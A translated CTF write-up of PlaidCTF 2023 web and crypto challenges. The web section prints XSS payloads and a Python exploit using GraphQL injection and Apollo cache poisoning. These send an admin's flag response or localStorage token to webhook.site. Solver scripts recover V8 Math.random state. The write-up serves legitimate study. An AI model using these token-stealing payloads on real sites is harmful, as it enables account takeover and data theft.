PlaidCTF 2023 WriteUps

發表於 2023-04-17

分類於 CTF

This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .

This week, our team participated in this event at Balsn.217@TSJ.tw to practice for the upcoming DEFCON CTF. I only solved some crypto and web challenges.

Web

Davy Jones' Putlocker: Dubs

This challenge had a React frontend and a GraphQL backend. The GraphQL had a mutation { flag } that could give you the flag, and there was also an admin bot, so we needed to find a way to XSS.

By diffing the two versions (Dubs part1 and Subs part2), we found that the key was that the playlist resolver schema did not use micromark for filtering, so we could directly XSS.

playlist xss:

<iframe srcdoc="<script src=https://webhook.site/d8cecb91-c417-4202-a739-6f56756a1e40></script>"></iframe>

webhook response:

fetch("/graphql", {
  "headers": {
    "authorization": localStorage.token,
    "content-type": "application/json"
  },
  "body": JSON.stringify({"operationName":"SelfQuery","variables":{},"query":`mutation SelfQuery {
      flag
   }`}),
  "method": "POST",
  "mode": "cors",
  "credentials": "include"
}).then(r=>r.text()).then(t=>location='https://webhook.site/d8cecb91-c417-4202-a739-6f56756a1e40?json='+encodeURIComponent(t))

Then report it to the admin bot to get the flag:

fetch("/graphql", {
  "headers": {
    "authorization": localStorage.token,
    "content-type": "application/json"
  },
  "body": JSON.stringify({"operationName":"SelfQuery","variables":{},"query":`mutation SelfQuery {
      report(url: "http://f7b6c0fd-1354-45d7-9518-848229cfeff7.dubs.putlocker.chal.pwni.ng:20003/user/aec7af49-fd20-44c9-b00b-ec60545edc71")
   }`}),
  "method": "POST",
  "mode": "cors",
  "credentials": "include"
}).then(r=>r.text()).then(t=>location='https://webhook.site/d8cecb91-c417-4202-a739-6f56756a1e40?json='+encodeURIComponent(t))

Davy Jones' Putlocker: Subs

Obviously, the previous challenge was unintended because a 350-point challenge couldn't be that simple XD. The author also mentioned that solving the previous challenge that way was a big mistake. Correctly, half of the solution for this challenge was the intended solution for the previous one, but since no one used the intended solution for the previous challenge, this one became harder.

After diffing, we found that the playlist resolver XSS was blocked, so we had to find another way to XSS.

The main issue was in the client's Playlist.tsx:

export const Playlist = () => {
	const params = useParams();
	const id = params.id as string;
	const qs = useQs() as { index?: number, autoplay?: boolean };
	// omitted...
	return (
		<PlaylistView
			id={uuidify(id)}
			{...qs}
			onSetIndex={(index: number) => {
				navigate(`/playlist/${id}?${encodeQs({ ...qs, index })}`, { replace: true });
			}}
			onSetAutoplay={(autoplay: boolean) => {
				navigate(`/playlist/${id}?${encodeQs({ ...qs, autoplay })}`, { replace: true });
			}}
		/>
	);
};

We could see that the ...qs allowed us to override id={uuidify(id)}, and after looking into useQs, we found it used the qs module for parsing, so we could inject nested objects, etc.

Then in PlaylistView:

const PlaylistView = (props: PlaylistViewProps) => {
	const navigate = useNavigate();

	interface PlaylistQueryResult {
		playlist: {
			id: string;
			name: string;
			description: string;
			episodes: {
				id: string;
				name: string;
			}[];
			owner: {
				id: string;
				name: string;
			};
		};
	}

	const { data, loading, error } = useQuery<PlaylistQueryResult>(gql`
		query PlaylistQuery {
			playlist(id: ${props.id}) {
				id
				name
				description
				episodes {
					id
					name
				}
				owner {
					id
					name
				}
			}
		}
	`);
	// omitted...
}

We could see that props.id was controllable, so it looked like there was a GraphQL injection, but it wasn't that simple because it used a gql tagged template literal, so we needed to see how the gql function was implemented:

import { DocumentNode,parse, print } from "graphql/language";
import { isNode } from "graphql/language/ast";

const cache = new Map<string, DocumentNode>();

export function gql(literals: TemplateStringsArray, ...args: any[]) {
	const parts = [literals[0]];

	for (let i = 0; i < args.length; i++) {
		const arg: unknown = args[i];

		if (isNode(arg)) {
			parts.push(print(arg));
		} else if (arg === undefined || arg === null) {
			parts.push("null");
		} else {
			parts.push(JSON.stringify(arg));
		}

		parts.push(literals[i + 1]);
	}

	const source = parts.join("");

	if (cache.has(source)) {
		return cache.get(source)!;
	}

	const document = parse(source);
	cache.set(source, document);
	return document;
}

So the most likely path was to make isNode(arg) pass and find a way to inject the payload. Both isNode and print were internal GraphQL functions, so props.id needed to be a GraphQL AST node. After reading the internal implementation, we found that { kind: 'Name', value: 'INJECTION_PAYLOAD' } was the simplest way, so ?id[kind]=Name&id[value]=INJECTION_PAYLOAD would work.

Next, we needed to see how to exploit the GraphQL injection. The client used was Apollo Client. According to the official documentation, it caches query results by default. Testing showed that if a query existed in the cache and all requested fields were present, it would fetch from the cache instead of making a request. So the idea was to pollute the cache and make the EpisodePanel request fetch from the cache, leading to XSS.

After some testing, we found that the cache key was generally in the form of __typename:id, so we wondered if we could override __typename. We tried __typename: name, but it resulted in HTTP 400. This was because Apollo Client automatically added __typename for cache keys, causing a conflict.

Further research showed support for special directives like @client, @export, @connection, etc. The @client directive told Apollo Client not to send the field to the server, only looking in the local resolver. So foo @client would remove the field from the request. Testing showed that __typename @client effectively removed the __typename field added by Apollo Client, and adding __typename: name allowed the server's name to be used as the __typename value, potentially causing issues.

Even after finding this, I couldn't find an exploit path, so I considered prototype pollution. Since GraphQL queries were expected to be uncontrollable, protection might be insufficient, and a prototype pollution 0day wasn't impossible.

The __typename: name was the intended solution for the previous challenge (Dubs), using cache type confusion to cause issues.

I checked the deepMerge function but found it couldn't cause PP. I also checked the GraphQL literal and JS object conversion code but found no PP.

Finally, I found that processSelectionSet allowed me to use __proto__: foo @client to make cache.data.data.ROOT_QUERY.foo === Object.prototype. This wasn't PP, but it allowed reading from Object.prototype and writing to the cache, which seemed useless.

Stepping back, I realized __proto__ meant reading __proto__ from a result object and storing it in ROOT_QUERY.foo. What if I replaced __proto__ with another key? If the key had a value, it would be read and written to ROOT_QUERY.foo. If there were duplicate keys, having one @client would prevent errors, so:

    pl2: playlist(id: "b4429f09-0f36-4e67-aa94-492a4d00b885") { 
        peko: id
    }
    pl2: foo @client

This would read data from playlist(id: "b4429f09-0f36-4e67-aa94-492a4d00b885") { peko: id } and write it to ROOT_QUERY.foo, making ROOT_QUERY.foo = { peko: '...' }. After discovering this, I knew I could solve the challenge by polluting an episode using another object with an alias. To control the data, I used a playlist as the base object and injected the XSS payload into the username. The injection looked like this:

	"b4429f09-0f36-4e67-aa94-492a4d00b885") { 
        id
        name
        description: rawDescription
        episodes {
            id
            name
        }
        owner {
            id
            name
        }
    }
    pl2: playlist(id: "7f373fc9-6ba4-46e8-a14d-0464199a18b8") {
        id
        name
        description: owner {
          __html: name
        }
        url: name
        rating: name
        ratingCount: name
        show: owner {
            owner: shows {
                id
            }
        }
    }
    pl2: episode(id:"5aac1f62-6a23-4054-bd73-60d48396a13d") @client
    dummy: playlist(id: "00000000-0000-0000-0000-000000000000"

The playlist b4429f09-0f36-4e67-aa94-492a4d00b885 needed an episode ID 5aac1f62-6a23-4054-bd73-60d48396a13d, and 7f373fc9-6ba4-46e8-a14d-0464199a18b8 needed to be a playlist with the username containing the XSS payload. Combining everything into an exploit script solved the challenge:

import requests
import json
import os
from urllib.parse import quote

# host = "http://localhost:7008"
host = "http://c3365128-2e0e-4a33-bcd3-f7ffc8f33790.subs.putlocker.chal.pwni.ng:20002"
payload = (
    "<img src=x: onerror='location=`https://webhook.site/ed852d2a-b167-49da-9159-d48909b980bd?token=`+encodeURIComponent(localStorage.token)'>"
    + os.urandom(8).hex()
)


def graphql(query, variables={}, token=""):
    r = requests.post(
        host + "/graphql",
        json={"query": query, "variables": variables},
        headers={
            "Authorization": token,
        },
    )
    return r.json()


random_episode_id = graphql(
    """
query {
    recentEpisodes {
        id
    }
}
"""
)["data"]["recentEpisodes"][0]["id"]

token = graphql(
    """
mutation($payload: String!) {
    register(name: $payload, password: $payload)
}
""",
    {"payload": payload},
)["data"]["register"]
playlist_id = graphql(
    """
mutation($name: String!, $description: String!) {
    createPlaylist(name: $name, description: $description) {
        id
    }
}
""",
    {"name": "peko", "description": "miko"},
    token=token,
)["data"]["createPlaylist"]["id"]
print(
    graphql(
        """
mutation($playlist_id: ID!, $episode_id: ID!) {
    updatePlaylistEpisodes(id: $playlist_id, episodes: [$episode_id]) {
        id
    }
}
""",
        {"playlist_id": playlist_id, "episode_id": random_episode_id},
        token=token,
    )
)
print(payload)

# location='/playlist/peko?id[kind]=Name&id[value]='+encodeURIComponent(`"b4429f09-0f36-4e67-aa94-492a4d00b885") {
#         id
#         name
#         description: rawDescription
#         episodes {
#             id
#             name
#         }
#         owner {
#             id
#             name
#         }
#     }
#     pl2: playlist(id: "1b6ca857-9560-4f9b-93fd-e12f5f68dd0c") {
#         id
#         name
#         description: owner {
#           __html: name
#         }
#         url: name
#         rating: name
#         ratingCount: name
#         show: owner {
#             owner: shows {
#                 id
#             }
#         }
#     }
#     pl2: episode(id:"5aac1f62-6a23-4054-bd73-60d48396a13d") @client
#     dummy: playlist(id: "00000000-0000-0000-0000-000000000000"`)

url = (
    host
    + "/playlist/peko?id[kind]=Name&id[value]="
    + quote(
        """"%s") { 
        id
        name
        description: rawDescription
        episodes {
            id
            name
        }
        owner {
            id
            name
        }
    }
    pl2: playlist(id: "%s") {
        id
        name
        description: owner {
          __html: name
        }
        url: name
        rating: name
        ratingCount: name
        show: owner {
            owner: shows {
                id
            }
        }
    }
    pl2: episode(id:"%s") @client
    dummy: playlist(id: "00000000-0000-0000-0000-000000000000"
"""
        % (playlist_id, playlist_id, random_episode_id)
    )
)
# apollo client quriks caused this:
# cache.data.data.ROOT_QUERY['episode({"id":"..."})'] = {"id": "...", "name": "...", "description": {"__html": "..."}, ...}
print(url)

print(
    graphql(
        """
mutation($url: String!) {
    report(url: $url)
}
""",
        {"url": url},
        token=token,
    )
)

# grab admin token and `mutation { flag }`
# PCTF{say_what_you_will_about_these_sites_but_they_wont_pull_a_warner_bros_discovery_on_you_and_yeet_37_shows_into_the_void_f0e0079af5e5b05edbf5d248}

Special thanks to Ginoah for some help, otherwise, I might have missed some details.

Crypto

bivalves: scallop

I wasn't sure about the purpose of this challenge. A teammate wrote a z3 script, but it had a bug, so we couldn't get the flag. After debugging and making minor optimizations, we solved it:

from z3 import *
from bitstream import BitStream
from bitstring import BitArray
import os
from tqdm import tqdm


def step(out=True):
    ret = None
    if out:
        ret = Xor(state[65], state[92])
    t1 = Xor(Xor(state[65], state[92]), Xor(And(state[90], state[91]), state[170]))
    t2 = Xor(Xor(state[161], state[176]), Xor(And(state[174], state[175]), state[68]))
    for i in range(92, 0, -1):
        state[i] = state[i - 1]
    state[0] = t2
    for i in range(176, 93, -1):
        state[i] = state[i - 1]
    state[93] = t1
    return ret


state = [Bool(f"s_{i}") for i in range(80 + 13 + 80 + 4)]
init_state = state[:]

ct = BitArray(
    bytes=b"\n_\x02s\xe6\xb4\xf5\xec\xfe\xd6\xb0\xb6\xfb\xf1\x9ab\xb7\x85p(p\x8e\xaf/\xa4'\xbf\x00\xf4\xac}c\x1e\x83\x00\xee\xcb\x90\x10\n\x91K,\xa3C`\x12w\xe8\x93\x0e+N\xba\xfa\xf9\xf7\xaf\x8f\t\xc3\xa0\xdf\x11\x07K\xb6\x17\xa0\xe3\xbdod\x0e\xbd\xc0\xf8\x90\xa2\xb5\xef\xdf\xa6\x9f\x04xW\x94\xc4\x97\xde,\xda\xb64\xf7\xde\xbeF8W\xfe\xa2\xcc\xf1\xe1O!\xe6#\xeb\x9d\xa9JT\x7f\xbd\xde\xf8\xd1\xec\x0b\x8f-\xf3q_y\xe4\xf7O\xfc\x86\xfa\xb9\xa5\x1d\x10\xc6\xde\xbb\xcc\xe5/\x81\xd4OO\"i~\x95\xf5|V\x08sJcB\x88\x1c;p\xec|!\xdb\xd0\x98lg\x0c\xe9=\xf5\xf0\xd3\tz\xab\xb4\xa7\\V\xe6\t\x92\x88\x00\xe9TC\xf6.\xc7q7+.\x92\x0c\x83\x9a.N\x84}\xe9\x0eiU\x10\xc0\x82E\x8b\xefl\xdb\x01\x03\xea\xe2)}\xe0\x07\x02h\xfc\xa0\xdc\x7f\xfb\xa9[\x19\xdc\xa1\xfb\xc4Yv\x1cm\xa0\x8dY\xd6\x16f\x14\\\xf0\xb1\xd3n\x82S[\xeb\xa0sz\"\x05\xea\xe2\x0f\xd0n\x0c\xfc\xaf\xee\xe7+c\xa2~K\\\x8f\xd3\xeb%\x87\xb2f.\xa9\x1b\xe9\x07\x1aP\x81&\xf0\xc1\x9aw\xf3\xcb\x93,\x1b\xdf\xfc\xaf\xb3?Q.S\xec\xc8g!tY\x99\xe8\x98\x14\x8c\x89\xdf\xbbv\xdf\x82\xd6\xb4tn\xec\xd1\xb1`@2kA*\x0b\xb9?A\xce\xd03\xb3\xf2\xbbV/\t'\xdf5\x81\xc5\x15\x8eB]E\xdd\xd6R\xf6\x9c8\xe5\x84\x15\x11\x1a_\x84\xb7\x9e\xec\xbd\x1ed\x17{J\xb8*\xe1\x82\xd4l\xd3\x8bod?\x0b\x1a\xe5t\x18\xbbh5yK\xbeR+\xa7G\x16\xc1\xa7p\xaf\x9c\x9e|\xce^\xf7%\xe4\xd0\xc2\x87\xac\x14\xb4\xa3\xbb\xf7\xb3&\xccaaY\xd0\xb3\xe3\xc7\xfb\xa8\x96ir5c\xf1[j\xdc\xe5'\x9a\xc5~{\xb5)\xcb\xab\xbe\xa9\x12X\x82\x088\xbf\x8c\x9caX\x8cxw\xbeMu#\xfe:\xcf\x1f\xc9\xbe\x11\t2\xe4\x97\x94<T\xc4\xa7\xf3\x8c\xdf\x9a\x0bHkx\xcc#\xf2\xf0{\x10\xf728}\xd7\x8e\x90\x9ce\xde\x19O?\xbb\x94IH\xd4vj\xd1C\x9f\x18\xf7\xf6=\x92p_\x82\x06\xf8\xe7\xdb\x15\x84|~hP\x88\n\xc7d\xc4\x8f\x08Z^>\xea\xe4\x1c\xd9_\x99\x99\xfc\xa4\xf8\x00\x01\xf0\xf1\x1e\xf5\x1f\xe4\x84\x0b`&/\xcd\xd2\xb7-?\xca"
)

known_pt = BitArray(
    bytes=(
        b"""There once was a ship that put to sea
The name of the ship was the Billy O' Tea
The winds blew up, her bow dipped down
Oh blow, my bully boys, blow (huh)

Soon may the Wellerman come
To bring us sugar and tea and rum
One day, when the tonguing is done
We'll take our leave and go

She'd not been two weeks from shore
When down on her right a whale bore
The captain called all hands and swore
He'd take that whale in tow (huh)

Soon may the Wellerman come
To bring us sugar and tea and rum
One day, when the tonguing is done
We'll take our leave and go

- """
    )
)

sol = Solver()

print(len(ct), len(known_pt))

for i in tqdm(range(300)):
    s = step()
    sol.add(s == Xor(ct[i], known_pt[i]))
assert sol.check() == sat

m = sol.model()
res = [bool(m.eval(x)) for x in init_state]


def py_step(out=True):
    ret = None
    if out:
        ret = py_state[65] ^ py_state[92]
    t1 = py_state[65] ^ py_state[92] ^ (py_state[90] & py_state[91]) ^ py_state[170]
    t2 = py_state[161] ^ py_state[176] ^ (py_state[174] & py_state[175]) ^ py_state[68]
    for i in range(92, 0, -1):
        py_state[i] = py_state[i - 1]
    py_state[0] = t2
    for i in range(176, 93, -1):
        py_state[i] = py_state[i - 1]
    py_state[93] = t1
    return ret


py_state = res[:]
pt = BitStream()
for i in tqdm(range(len(ct))):
    pt.write(py_step() ^ ct[i], bool)
print(pt.read(bytes, len(pt) // 8))
# pctf{but_the_whale_is_covered_in_barnacles}

fastrology: waxing crescent

const { randomInt, createHash } = require('node:crypto');
const readline = require('node:readline').createInterface({
  input: process.stdin,
  output: process.stdout,
});

const warmup_len = randomInt(64);
for (let i = 0; i < warmup_len; i++) {
    Math.random();
}

const prefix_len = 135;
const alphabet = '☊☋☌☍';

let output = '';
for (let i = 0; i < prefix_len+128; i++) {
    output += alphabet[Math.floor(Math.random() * alphabet.length)];
}

const prefix = output.substring(0, prefix_len);
const expected = output.substring(prefix_len);

console.log(prefix);
console.log(createHash('md5').update(expected, 'utf8').digest('hex'));

readline.question('❓️\n', guess => {
    readline.close();
    if (guess === expected) {
        console.log('✅');
        process.exit(42);
    } else {
        console.log('❌');
        process.exit(1);
    }
});

This challenge involved breaking V8's Math.random(), which used xorshift128 internally with linear operations. V8 took xorshift's (state0 >> 12) | 0x3FF0000000000000 and converted it to a float, using the top 52 bits of state0 as the mantissa.

Since alphabet.length === 4, based on Math.floor(Math.random() * alphabet.length), which resulted in 0, 1, 2, 3, we could determine the top 2 bits of state0, forming a linear system to solve.

However, V8 had a kCacheSize = 64 cache pool. Initially empty, it filled the pool when empty and fetched from it. The pool was LIFO, so outputs were reversed in groups of 64.

Since we didn't know warmup_len, we brute-forced it. If the linear system couldn't find a solution (rows >> cols), it was incorrect.

from sage.all import *
from pwn import process, remote
from pwnlib.util.iters import mbruteforce
import hashlib
import string
from itertools import product
from tqdm import tqdm


def solve_pow(io):
    io.recvuntil(b"starting with ")
    prefix = io.recvuntil(b" ", drop=True).decode()
    suffix = mbruteforce(
        lambda x: hashlib.sha256((prefix + x).encode()).hexdigest()[-6:] == "ffffff",
        alphabet=string.ascii_letters + string.digits,
        length=8,
        method="fixed",
    )
    print(hashlib.sha256((prefix + suffix).encode()).hexdigest())
    io.sendlineafter(b"ffffff.\n", (prefix + suffix).encode())


def rol(x, n, sz=64):
    return vector(list(x[-(sz - n) :]) + [0] * n)


def ror(x, n, sz=64):
    return vector([0] * n + list(x[: sz - n]))


def xorshift128_next(state0, state1):
    s1 = state0[:]
    s0 = state1[:]
    state0 = s0
    s1 = s1 + rol(s1, 23)
    s1 = s1 + ror(s1, 17)
    s1 = s1 + s0
    s1 = s1 + ror(s0, 26)
    state1 = s1
    return state0, state1


def padlist(x, n):
    return x + ["?"] * (n - len(x))


syms = [f"s0_{i}" for i in range(64)] + [f"s1_{i}" for i in range(64)]
R = PolynomialRing(GF(2), syms)
s0 = vector(R.gens()[:64])
s1 = vector(R.gens()[64:])
states = []
for i in range(64 * 6):
    s0, s1 = xorshift128_next(s0, s1)
    states.append((s0, s1))

prefix_length = 135


def solve(orig_nums, start_offset=None):
    if start_offset is None:
        for i in tqdm(range(64)):
            r = solve(orig_nums, i)
            if r:
                return r
        return
    nums = ["?"] * start_offset + orig_nums
    kCacheSize = 64  # v8 cache size
    chunks = [
        padlist(nums[i : i + kCacheSize], kCacheSize)
        for i in range(0, len(nums), kCacheSize)
    ]
    nums = sum([chk[::-1] for chk in chunks], [])

    eq = []
    for i in range(len(nums)):
        s0, s1 = states[i]
        if nums[i] == "?":
            continue
        bits = f"{nums[i]:02b}"
        eq.append(s0[1] - int(bits[1]))
        eq.append(s0[0] - int(bits[0]))

    M, v = Sequence(eq).coefficient_matrix()
    M = M.dense_matrix()
    A = M[:, :-1]
    b = vector(-M[:, -1])
    try:
        sol = A.solve_right(b)
    except Exception as e:
        return
    print("start offset", start_offset)
    print("sol", sol)

    outs = []
    for i in range(start_offset + prefix_length + 128 + 64 - 7):
        s0, s1 = states[i]
        b0 = s0[0](*sol)
        b1 = s0[1](*sol)
        out = ZZ(b0) * 2 + ZZ(b1)
        outs.append(out)

    chunks = [
        padlist(outs[i : i + kCacheSize], kCacheSize)
        for i in range(0, len(outs), kCacheSize)
    ]
    outs = sum([chk[::-1] for chk in chunks], [])
    ret = outs[start_offset + prefix_length : start_offset + prefix_length + 128]
    if "?" not in ret:
        return [ret]

    ret_all = []
    unk_idx = [i for i, x in enumerate(ret) if x == "?"]
    for i in product(range(4), repeat=len(unk_idx)):
        ret2 = ret[:]
        for j, idx in enumerate(unk_idx):
            ret2[idx] = i[j]
        ret_all.append(ret2)
    return ret_all


# io = process(["python", "server.py"])
io = remote("fastrology.chal.pwni.ng", 1337)
solve_pow(io)
io.recvuntil(b"]\n")
io.sendline(b"waxing crescent")

charset = "☊☋☌☍"
for _ in range(50):
    io.recvuntil(b"/50\n")
    s = io.recvlineS().strip()
    h = io.recvlineS().strip()
    print(s, h)
    nums = [charset.index(c) for c in s]
    for pred_nums in solve(nums):
        pred = "".join([charset[i] for i in pred_nums])
        if hashlib.md5(pred.encode()).hexdigest() == h:
            print(pred)
            io.sendline(pred.encode())
            break

io.interactive()
# PCTF{moon_wobbles_from_libration_are_kinda_freaky_0bacbc2a52}

*fastrology: new moon

const { randomInt, createHash } = require('node:crypto');
const readline = require('node:readline').createInterface({
  input: process.stdin,
  output: process.stdout,
});

const warmup_len = randomInt(64);
for (let i = 0; i < warmup_len; i++) {
    Math.random();
}

const prefix_len = 192;
const alphabet = '♈♉♊♋♌♍♎♏♐♑♒♓⛎';

let output = '';
for (let i = 0; i < prefix_len+128; i++) {
    output += alphabet[Math.floor(Math.random() * alphabet.length)];
}

const prefix = output.substring(0, prefix_len);
const expected = output.substring(prefix_len);

console.log(prefix);
console.log(createHash('md5').update(expected, 'utf8').digest('hex'));

readline.question('❓️\n', guess => {
    readline.close();
    if (guess === expected) {
        console.log('✅');
        process.exit(42);
    } else {
        console.log('❌');
        process.exit(1);
    }
});

The main difference in this challenge was alphabet.length === 13, unlike 4, making it harder to deduce bits. I wrote a script to bucket by top 3 bits, finding some floor outputs uniquely determined the top 3 bits, forming a linear system to solve.

import struct, math, random
from collections import defaultdict


def u2fp(x):
    assert x.bit_length() <= (64 - 12)
    u_long_long_64 = x | 0x3FF0000000000000
    float_64 = struct.pack("<Q", u_long_long_64)
    return struct.unpack("d", float_64)[0] - 1


def fp2u(x):
    float_64 = struct.pack("d", x + 1)
    u_long_long_64 = struct.unpack("<Q", float_64)[0]
    return u_long_long_64 ^ 0x3FF0000000000000


# f = u2fp((1 << 51) + (1 << 50))
# print(f, math.floor(f * 4))
# print(fp2u(f))

# for i in range(4):
#     f = u2fp(i << 50)
#     print(f, math.floor(f * 4))
#     assert math.floor(f * 4) == i
#     assert fp2u(f) == i << 50

# for i in range(16):
#     f = u2fp(i << 48)
#     print(f, i, math.floor(f * 13))

bits = 3
buckets = defaultdict(set)
for _ in range(100000):
    f = random.random()
    buckets[fp2u(f) >> (52 - bits)].add(math.floor(f * 13))
cnt = defaultdict(int)
for i in range(1 << bits):
    print(i, buckets[i])
    for x in buckets[i]:
        cnt[x] += 1
print(cnt)
for i in range(1 << bits):
    for x, y in cnt.items():
        if y > 1:
            buckets[i].discard(x)
    print(i, buckets[i])

However, my code was poorly written, so I didn't solve it. Toxicpie got the flag. Later, I fixed my sage test script:

import struct, math, random
from binteger import Bin


def u2fp(x):
    assert x.bit_length() <= (64 - 12)
    u_long_long_64 = x | 0x3FF0000000000000
    float_64 = struct.pack("<Q", u_long_long_64)
    return struct.unpack("d", float_64)[0] - 1


def fp2u(x):
    float_64 = struct.pack("d", x + 1)
    u_long_long_64 = struct.unpack("<Q", float_64)[0]
    return u_long_long_64 ^ 0x3FF0000000000000


# fmt: off
nums = [11,9,3,3,11,6,12,6,5,0,6,4,12,4,6,3,1,3,3,10,2,1,9,9,6,2,3,4,10,2,1,8,7,12,6,10,8,2,9,3,8,4,9,2,8,0,6,3,12,0,2,1,8,5,11,5,10,3,3,3,5,3,12,4,5,5,6,6,5,11,11,5,3,7,10,3,10,11,12,8,2,6,0,2,9,3,10,12,10,11,6,11,0,9,12,8,5,4,11,11,10,5,0,3,3,1,4,5,1,12,5,0,2,1,6,9,10,0,8,4,2,11,12,7,0,3,1,5,8,1,8,6,12,4,4,6,11,11,6,9,5,2,4,1,4,8,5,10,0,9,1,0,4,12,4,2,5,0,2,3,4,9,7,3,1,1,10,12,12,6,11,4,1,6,0,5,0,12,5,1,2,4,9,1,9,11,9,8,9,8,1,3,4,1,3,3,5,7,4,5,12,11,7,11,5,7,8,3,0,12,10,6,6,1,7,6,0,11,11,0,11,9,12,0,10,12,1,5,7,10,11,1,5,1,12,7,5,8,10,9,1,10,11,4,5,9,10,2,11,5,10,12,8,12,7,12,11,8,9,6,5,4,2,4,1,8,0,6,7,10,6,11,2,6,1,4,5,1,3,1,9,8,6,8,11,1,4,1,3,3,3,6,5,8,8,6,3,8,1,3,2,9,9,0,11,8,3,10,12,12,10,8,6,10,5,7,6,0,3,10]
# fmt: on
pred = nums[192:]
nums = nums[:192]
numspred = nums + pred
startOffset = 0
nums = ["?"] * startOffset + nums
numspred = ["?"] * startOffset + numspred
kCacheSize = 64  # v8 cache size


def padlist(x, n):
    return x + ["?"] * (n - len(x))


chunks = [
    padlist(nums[i : i + kCacheSize], kCacheSize)
    for i in range(0, len(nums), kCacheSize)
]
nums = sum([chk[::-1] for chk in chunks], [])
chunks = [
    padlist(numspred[i : i + kCacheSize], kCacheSize)
    for i in range(0, len(numspred), kCacheSize)
]
numspred = sum([chk[::-1] for chk in chunks], [])


syms = [f"s0_{i}" for i in range(64)] + [f"s1_{i}" for i in range(64)]
R = PolynomialRing(GF(2), syms)
s0 = vector(R.gens()[:64])
s1 = vector(R.gens()[64:])


def rol(x, n, sz=64):
    return vector(list(x[-(sz - n) :]) + [0] * n)


def ror(x, n, sz=64):
    return vector([0] * n + list(x[: sz - n]))


def xorshift128_next(state0, state1):
    s1 = state0[:]
    s0 = state1[:]
    state0 = s0
    s1 = s1 + rol(s1, 23)
    s1 = s1 + ror(s1, 17)
    s1 = s1 + s0
    s1 = s1 + ror(s0, 26)
    state1 = s1
    return state0, state1


tbl = {0: 0, 2: 1, 5: 3, 7: 4, 10: 6, 12: 7}

prefix_len = len(nums)
eq = []
for i in range(prefix_len):
    s0, s1 = xorshift128_next(s0, s1)
    if nums[i] == "?":
        continue
    if nums[i] not in tbl:
        continue
    bits = f"{tbl[nums[i]]:03b}"
    eq.append(s0[0] - int(bits[0]))
    eq.append(s0[1] - int(bits[1]))
    eq.append(s0[2] - int(bits[2]))
M, v = Sequence(eq).coefficient_matrix()
print(vector(v))
M = M.dense_matrix()
A = M[:, :-1]
b = vector(-M[:, -1])
print(A.dimensions(), len(b))
sol = A.solve_right(b)
print(sol)


s0 = vector(R.gens()[:64])
s1 = vector(R.gens()[64:])
for i in range(len(numspred)):
    s0, s1 = xorshift128_next(s0, s1)
    ss0 = [int(f(*sol)) for f in s0]
    out = math.floor(u2fp(Bin(ss0).int >> 12) * 13)
    if i == startOffset + 192:
        print("=" * 40)
    if i == startOffset + 192 + 128:
        print("=" * 40)
    print(out, numspred[i], out == numspred[i])

Toxicpie's solution used a different technique, calculating an array:

for i in range(13):
    print(fp2u(i / 13))

# output + [(1 << 52) - 1]
hint13 = [0, 346430740566961, 692861481133922, 1039292221700884, 1385722962267845, 1732153702834806, 2078584443401768,
          2425015183968728, 2771445924535690, 3117876665102651, 3464307405669612, 3810738146236574, 4157168886803535, (1 << 52) - 1]

Assuming the floor output was n, comparing hint13[n] ^ hint13[n + 1] top bits revealed common bits, confirming some bits. This method provided more equations than mine, so it's worth mentioning. The code concept:

for num in nums:
	step()
	if num == '?':
		continue
	common = bin(hint13[num] ^ hint13[num + 1])[2:].zfill(52).find('1')
	for i in range(common):
		if (hint13[num] >> (51 - i)) & 1:
			eq.append((se_state0[i], 1))
		else:
			eq.append((se_state0[i], 0))

*fastrology: waxing gibbous

const { randomInt, createHash } = require('node:crypto');
const readline = require('node:readline').createInterface({
  input: process.stdin,
  output: process.stdout,
});

const warmup_len = randomInt(64);
for (let i = 0; i < warmup_len; i++) {
    Math.random();
}

const prefix_len = 250;
const alphabet = '♈♉♊♋♌♍♎♏♐♑♒♓⛎';

let backup = '';
for (let i = 0; i < prefix_len+128; i++) {
    let index = Math.floor(Math.random() * 12);
    backup += alphabet[index];
}

let output = '';
for (let i = 0; i < prefix_len+128; i++) {
    let index = Math.floor(Math.random() * alphabet.length);
    if (index === 12) {
        // OPHIUCHUS MUST BE CONCEALED
        output += backup[i];
    } else {
        output += alphabet[index];
    }
}

const prefix = output.substring(0, prefix_len);
const expected = output.substring(prefix_len);

console.log(prefix);
console.log(createHash('md5').update(expected, 'utf8').digest('hex'));

readline.question('❓️\n', guess => {
    readline.close();
    if (guess === expected) {
        console.log('✅');
        process.exit(42);
    } else {
        console.log('❌');
        process.exit(1);
    }
});

The main difference in this challenge was that when index === 12, the output was replaced, meaning some bits in the equations were wrong. This led me to think of error decoding: $Ax+e=b$ , given $A,b$ and $e$ with low hamming weight, find $x$ . With $A \in \mathbb{F}_2^{n \times k}$ and $n > k$ .

If $A$ was a special matrix like Reed Solomon Code's generator matrix, better methods existed. For general linear codes, ISD (Information Set Decoding) was the most common solution.

Implementing it confirmed that with known warmup_len, ISD worked (toxicpie's method provided ~500 equations, with errors rarely exceeding 20). It took ~4-10 seconds to solve. Brute-forcing warmup_len required 64*10 seconds, but the challenge timeout was 15 seconds. Without a large cluster for parallel ISD, my method couldn't solve it.

I wrote a parallel solver for longer timeouts, so I'll document it:

solve_gibbous.py:

from sage.all import *
from pwn import process, remote
from pwnlib.util.iters import mbruteforce
import hashlib
import string
from itertools import product
from tqdm import tqdm
from binteger import Bin
import struct
import random
from concurrent.futures import ProcessPoolExecutor, as_completed
from solve_gibbous_worker import solve


def solve_pow(io):
    io.recvuntil(b"starting with ")
    prefix = io.recvuntil(b" ", drop=True).decode()
    suffix = mbruteforce(
        lambda x: hashlib.sha256((prefix + x).encode()).hexdigest()[-6:] == "ffffff",
        alphabet=string.ascii_letters + string.digits,
        length=8,
        method="fixed",
    )
    print(hashlib.sha256((prefix + suffix).encode()).hexdigest())
    io.sendlineafter(b"ffffff.\n", (prefix + suffix).encode())


io = process(["python", "server.py"])
# solve_pow(io)
io.recvuntil(b"]\n")
io.sendline(b"waxing gibbous")

charset = "♈♉♊♋♌♍♎♏♐♑♒♓⛎"
for _ in range(50):
    io.recvuntil(b"/50\n")
    s = io.recvlineS().strip()
    h = io.recvlineS().strip()
    print(s, h)
    ranges = [(i, i + 4) for i in range(0, 64, 4)]
    for rg in ranges:
        print("try", rg)
        for pred in solve(s, rg, timeout=12):
            print(pred)
            if hashlib.md5(pred.encode()).hexdigest() == h:
                io.sendline(pred.encode())
                break
        else:
            continue
        break

io.interactive()

solve_gibbous_worker.py:

from sage.all import *
from pwn import process, remote
from pwnlib.util.iters import mbruteforce
import hashlib
import string
from itertools import product
